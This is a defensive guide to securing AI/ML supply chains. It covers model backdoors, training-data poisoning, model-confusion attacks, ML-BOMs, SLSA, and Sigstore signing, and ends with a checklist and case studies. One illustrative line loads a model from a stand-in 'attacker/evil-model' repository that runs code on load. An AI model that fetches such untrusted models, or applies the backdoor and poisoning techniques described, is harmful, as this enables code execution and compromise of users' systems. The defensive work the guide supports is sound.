Securing the AI Supply Chain: Why Your ML Pipeline Is Your Biggest Blind Spot

Your ML Pipeline Is an Unguarded Door

Eighty-nine percent of organizations experienced a third-party security incident in the past year. That statistic used to apply primarily to traditional software dependencies -- compromised npm packages, malicious PyPI uploads, hijacked container images. But the attack surface has expanded. Supply chain attacks now target AI stacks directly, and most organizations are unprepared.

A June 2025 Lineaje survey found that 48% of security professionals admit their organizations are falling behind on SBOM requirements, with ML-BOM adoption significantly lower. A Harness survey found that 62% of security practitioners have no way to tell where large language models are in use across their organization. Meanwhile, the U.S. Department of Defense published a formal guidance document in March 2026 titled "AI/ML Supply Chain Risks and Mitigations," signaling that even the most security-conscious institutions consider this a critical and unsolved problem.

This guide covers the new attack surfaces in AI supply chains, the frameworks and tools available to defend them, and a practical security checklist you can implement starting today.

New Attack Surfaces: What Makes AI Different

Traditional software supply chain security focuses on source code, build systems, and binary artifacts. AI systems introduce entirely new categories of risk.

Model Weights Tampering

An attacker who compromises a model training or fine-tuning pipeline can modify the model's weights to produce malicious outputs under specific conditions. The model behaves normally for 99.9% of inputs, making the tampering virtually undetectable through standard testing. When triggered by specific input patterns, the model produces attacker-controlled outputs -- a technique known as neural trojans or backdoor attacks.

Researchers at JFrog discovered malicious ML models on Hugging Face that executed arbitrary code upon loading, giving attackers full control of the victim machine. These models exploited Python's pickle serialization format, which can execute code during deserialization. While Hugging Face now scans for pickle-based attacks, it marks them as "unsafe" rather than blocking them outright -- users can still download and execute harmful models.

Training Data Poisoning

An attacker who gains access to training data pipelines can inject carefully crafted samples that shift model behavior. Unlike traditional software tampering, poisoned training data leaves no obvious signature in the resulting model. The model's weights change in ways that are statistically indistinguishable from legitimate training.

Practical attacks include: injecting biased samples to skew decision-making in specific demographics, inserting trigger patterns that cause misclassification when present in production inputs, and corrupting fine-tuning datasets to degrade model performance on specific tasks.

Inference API Hijacking

Organizations increasingly consume models through inference APIs. Compromising an inference endpoint -- or performing a man-in-the-middle attack on the API connection -- allows an attacker to intercept prompts (potentially containing sensitive data), modify model outputs (inserting malicious instructions or false information), and exfiltrate data passing through the pipeline.

Model Registry Compromise

Model registries are the new package repositories. A technique called "Model Confusion" -- analogous to dependency confusion in software packages -- allows attackers to create public models with names matching an organization's private models. When misconfigured pipelines pull from public registries before checking private ones, they load the attacker's model instead.

The PyTorch supply chain compromise in December 2022, where the torchtriton nightly dependency was hijacked through PyPI, demonstrated that ML framework dependencies are just as vulnerable as any other software package.

SBOM for ML: The CycloneDX ML-BOM Standard

Software Bill of Materials (SBOM) has become a baseline requirement for traditional software security. The AI equivalent is the ML-BOM, and the CycloneDX ML-BOM standard (part of ECMA-424) provides a comprehensive specification.

An ML-BOM should include:

Model Card Information

{
  "bom-ref": "model-sentiment-v2.1",
  "type": "machine-learning-model",
  "name": "sentiment-classifier-v2.1",
  "version": "2.1.0",
  "modelCard": {
    "modelParameters": {
      "approach": {
        "type": "supervised"
      },
      "task": "text-classification",
      "architectureFamily": "transformer",
      "modelArchitecture": "distilbert-base-uncased",
      "datasets": [
        {
          "ref": "dataset-training-sentiment-2024",
          "type": "training"
        }
      ]
    },
    "quantitativeAnalysis": {
      "performanceMetrics": [
        {
          "type": "f1-score",
          "value": "0.94",
          "confidenceInterval": {
            "lowerBound": "0.92",
            "upperBound": "0.96"
          }
        }
      ]
    }
  }
}

Data Provenance

Every dataset used in training and evaluation must be documented with its source, version, hash, and any preprocessing applied. This creates an auditable chain from raw data through to the final model.

Dependency Trees

ML pipelines have deep dependency trees that span both software packages (PyTorch, TensorFlow, scikit-learn, and their transitive dependencies) and model dependencies (base models used for fine-tuning, tokenizers, embedding models). Both categories must be tracked.

Generating an ML-BOM in Practice

# generate_mlbom.py
from cyclonedx.model.bom import Bom
from cyclonedx.model.component import Component, ComponentType
from cyclonedx.output.json import JsonV1Dot6
import hashlib
import json

def generate_model_bom(
    model_path: str,
    model_name: str,
    model_version: str,
    training_dataset_hash: str,
    dependencies: list[dict]
) -> str:
    """Generate a CycloneDX ML-BOM for a trained model."""
    bom = Bom()

    # Calculate model file hash
    with open(model_path, "rb") as f:
        model_hash = hashlib.sha256(f.read()).hexdigest()

    # Add the model as the primary component
    model_component = Component(
        component_type=ComponentType.MACHINE_LEARNING_MODEL,
        name=model_name,
        version=model_version,
    )
    bom.components.add(model_component)

    # Add each dependency
    for dep in dependencies:
        dep_component = Component(
            component_type=ComponentType.LIBRARY,
            name=dep["name"],
            version=dep["version"],
        )
        bom.components.add(dep_component)

    # Serialize to JSON
    output = JsonV1Dot6(bom)
    return output.output_as_string()

SLSA for ML Pipelines

Supply-chain Levels for Software Artifacts (SLSA, pronounced "salsa") provides a framework for ensuring build integrity. The Linux Foundation released SLSA 1.2 in late 2025, which defines more granular build and source tracks. Applying SLSA principles to ML pipelines means securing three areas.

Source Integrity

All training code, configuration files, and data pipeline definitions must come from version-controlled repositories with code review requirements. Changes to training hyperparameters, data preprocessing logic, or model architecture should require the same review rigor as production application code.

# .github/workflows/ml-pipeline.yml
name: Secure ML Training Pipeline
on:
  push:
    branches: [main]
    paths:
      - 'training/**'
      - 'configs/**'

jobs:
  train:
    runs-on: [self-hosted, gpu]
    permissions:
      id-token: write  # For Sigstore signing
      contents: read
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0  # Full history for provenance

      - name: Verify training data integrity
        run: |
          sha256sum -c data/checksums.sha256
          echo "Data integrity verified"

      - name: Train model in isolated environment
        run: |
          docker run --rm --gpus all \
            -v $(pwd)/data:/data:ro \
            -v $(pwd)/output:/output \
            --network=none \
            ml-training:latest \
            python train.py --config configs/production.yaml

      - name: Generate ML-BOM
        run: python scripts/generate_mlbom.py output/model.pt

      - name: Sign model with Sigstore
        uses: sigstore/gh-action-sigstore-python@v3
        with:
          inputs: output/model.pt output/mlbom.json

      - name: Push to model registry
        run: |
          oras push registry.example.com/models/sentiment:v2.1 \
            output/model.pt:application/vnd.ml.model \
            output/mlbom.json:application/vnd.cyclonedx+json \
            output/model.pt.sigstore.json:application/vnd.sigstore.bundle+json

Build Integrity

Training environments should be hermetic -- isolated from the network during training to prevent runtime injection attacks. The training container should contain pinned, pre-verified dependencies. The build system should generate provenance attestations documenting exactly what was built, from what source, in what environment.

Key controls:

• Pin all Python dependencies with hashes in requirements.txt
• Use --network=none for Docker training containers
• Generate SLSA provenance attestations for every training run
• Store training logs alongside the model as verifiable artifacts

Dependency Management

ML pipelines often pull dependencies from multiple sources: PyPI for Python packages, Hugging Face for pre-trained models, custom registries for internal models, and cloud storage for training data. Each source is an attack vector.

# verify_dependencies.py
import hashlib
import json
import sys

def verify_model_dependencies(lockfile_path: str) -> bool:
    """Verify all ML pipeline dependencies against a lockfile."""
    with open(lockfile_path) as f:
        lockfile = json.load(f)

    all_valid = True
    for dep in lockfile["dependencies"]:
        actual_hash = compute_file_hash(dep["path"])
        if actual_hash != dep["expected_sha256"]:
            print(f"INTEGRITY FAILURE: {dep['name']}")
            print(f"  Expected: {dep['expected_sha256']}")
            print(f"  Actual:   {actual_hash}")
            all_valid = False
        else:
            print(f"  Verified: {dep['name']} @ {dep['version']}")

    return all_valid

def compute_file_hash(path: str) -> str:
    sha256 = hashlib.sha256()
    with open(path, "rb") as f:
        for chunk in iter(lambda: f.read(8192), b""):
            sha256.update(chunk)
    return sha256.hexdigest()

if __name__ == "__main__":
    if not verify_model_dependencies("ml-lockfile.json"):
        sys.exit(1)

Essential Security Tools

Sigstore for Model Signing

Sigstore, in collaboration with OpenSSF, NVIDIA, and HiddenLayer, released version 1.0 of the model-signing project in 2025. It brings the same transparent signing infrastructure used for software packages to ML models.

Model signing with Sigstore provides:

• Identity-based signing: Models are signed with the identity of the person or CI system that produced them, verified through OIDC (no key management required)
• Transparency log: Every signature is recorded in Rekor, a public tamper-evident ledger
• Verification: Consumers can verify that a model was produced by a specific identity from a specific source repository

# Sign a model after training
python -m model_signing sign \
  --model-path output/model.pt \
  --sig-output output/model.sig

# Verify before loading in production
python -m model_signing verify \
  --model-path output/model.pt \
  --sig-path output/model.sig \
  --expected-identity [email protected] \
  --expected-issuer https://accounts.google.com

ORAS for Artifact Management

OCI Registry As Storage (ORAS) allows you to store ML models, ML-BOMs, signatures, and training provenance as OCI artifacts in any container registry. ORAS v1.3.0, released in October 2025, is fully compliant with OCI distribution-spec v1.1.1.

This means you can use the same registry infrastructure (Harbor, ACR, ECR, GCR) for both container images and ML artifacts, with consistent access control, replication, and garbage collection.

# Push a model with its ML-BOM and signature as OCI artifacts
oras push registry.example.com/models/classifier:v3.0 \
  model.pt:application/vnd.ml.model.pytorch \
  mlbom.json:application/vnd.cyclonedx+json \
  model.sig:application/vnd.sigstore.bundle+json \
  provenance.json:application/vnd.slsa.provenance+json

# Pull and verify in production
oras pull registry.example.com/models/classifier:v3.0
python -m model_signing verify --model-path model.pt --sig-path model.sig

MLflow Model Registry Hardening

If you use MLflow as your model registry, harden it with these controls:

• Enable authentication (MLflow supports basic auth and OIDC)
• Require model signatures for all registered models
• Implement stage transition approvals (staging to production requires human sign-off)
• Enable audit logging for all registry operations
• Store model artifacts in a secured backend (S3 with versioning and MFA delete enabled)

Practical Security Checklist for AI/ML Pipelines

This checklist is ordered by implementation priority. Start from the top.

Immediate (Week 1)

• Inventory all ML models in production and their sources
• Pin all Python dependencies with version and hash
• Enable Hugging Face model scanning and refuse pickle-format models
• Implement network isolation for training environments
• Require code review for all training configuration changes

Short-term (Month 1)

• Generate CycloneDX ML-BOMs for all production models
• Implement Sigstore model signing in CI/CD pipelines
• Set up a private model registry with access controls
• Create a dependency lockfile for ML pipelines with hash verification
• Implement automated scanning of model files for known malware patterns

Medium-term (Quarter 1)

• Deploy SLSA Level 2+ provenance for all training pipelines
• Implement continuous monitoring of model behavior in production (drift detection)
• Set up automated dependency update scanning with vulnerability checks
• Create incident response procedures specific to model compromise
• Integrate ML-BOM generation into the standard CI/CD pipeline

Ongoing

• Regular adversarial testing of production models
• Periodic review of model access controls and registry permissions
• Training data provenance audits
• Red team exercises targeting the ML pipeline specifically

Regulatory Drivers: Why This Matters Now

US Executive Orders and CMMC 2.0

The December 2025 Executive Order on AI established a national policy framework that includes supply chain security requirements. More significantly, the 2026 National Defense Authorization Act mandates strict supply chain controls for AI sold to U.S. defense and intelligence agencies. Congress has endorsed the CMMC program as the platform for forthcoming AI security requirements throughout the Defense Industrial Base.

If you sell to the U.S. government or plan to, AI supply chain security is becoming a contractual requirement.

EU NIS2 Directive

EU member states have until October 2026 to fully enforce NIS2 requirements. The directive's supply chain security provisions apply directly to AI systems: organizations must assess and manage risks from their technology supply chain, including ML models and training data pipelines. A formal NIS2 Review in 2026 will specifically address the intersection of technical standards, AI-specific controls, and incident reporting.

EU AI Act

High-risk AI enforcement begins in August 2026. The EU AI Act requires comprehensive documentation of AI systems, including training data, model architecture, and performance metrics -- essentially mandating ML-BOMs for any high-risk application deployed in EU markets.

NIST AI Risk Management Framework

NIST AI RMF provides the model inventory and risk documentation framework that aligns with both the EU AI Act requirements and US policy. Its "Map" and "Measure" functions directly correspond to the provenance and evaluation data captured in an ML-BOM.

Case Studies: When Supply Chain Attacks Hit ML Systems

The PyTorch torchtriton Incident (2022)

During the December 2022 holiday period, attackers registered a package called torchtriton on PyPI that matched the name of a private PyTorch dependency. Because pip resolves from PyPI before private indices by default, anyone installing the PyTorch nightly build between December 25 and December 30 received the malicious package. The package exfiltrated system information, SSH keys, and other sensitive data.

The lesson: ML frameworks are software, and dependency confusion attacks work against them just like any other package ecosystem. Configure pip to use --index-url (not --extra-index-url) for private packages, and pin dependencies with hashes.

Malicious Models on Hugging Face (2024-2025)

Researchers from JFrog, ReversingLabs, and others repeatedly discovered malicious models on Hugging Face that used Python pickle serialization to achieve code execution on load. A single model = AutoModel.from_pretrained("attacker/evil-model") call was enough to give attackers full control of the machine.

Protect AI, working with Hugging Face, has now scanned over 4 million models. But the fundamental problem persists: model files in formats that support code execution (pickle, PyTorch's native format) are inherently dangerous. Prefer SafeTensors format, which stores only tensor data and cannot execute code.

Model Confusion Attacks (2025-2026)

Checkmarx researchers formalized the "Model Confusion" attack, which applies dependency confusion principles to AI model registries. Organizations that reference models by name without pinning to a specific registry and hash are vulnerable to attackers uploading malicious models with matching names to public registries.

The defense mirrors the software world: always specify the full registry path, pin to exact versions, verify cryptographic hashes before loading, and ideally use Sigstore-signed models where the signer identity is verified.

Building a Culture of ML Security

Tools and processes are necessary but insufficient. The deeper challenge is organizational: most ML teams do not think of their work as part of the software supply chain.

Data scientists download pre-trained models from Hugging Face without security review. Training scripts pull datasets from URLs embedded in Jupyter notebooks. Model files pass between teams on shared drives without integrity verification. These practices would be considered reckless in a traditional software engineering context, but they remain common in ML workflows.

Close the gap by:

1. Including ML pipelines in your existing security programs rather than treating them as separate.
2. Making security tooling frictionless: integrate model scanning, signing, and ML-BOM generation into the tools ML teams already use.
3. Training ML engineers on supply chain risks: most are unaware that loading a model file can execute arbitrary code.
4. Establishing clear ownership: someone must be accountable for the security of every model in production.

The AI supply chain is not a future threat. The attacks are happening now. The frameworks, tools, and standards exist to defend against them. The organizations that implement these controls today will have a significant advantage -- both in security posture and regulatory compliance -- over those that wait until after the first incident.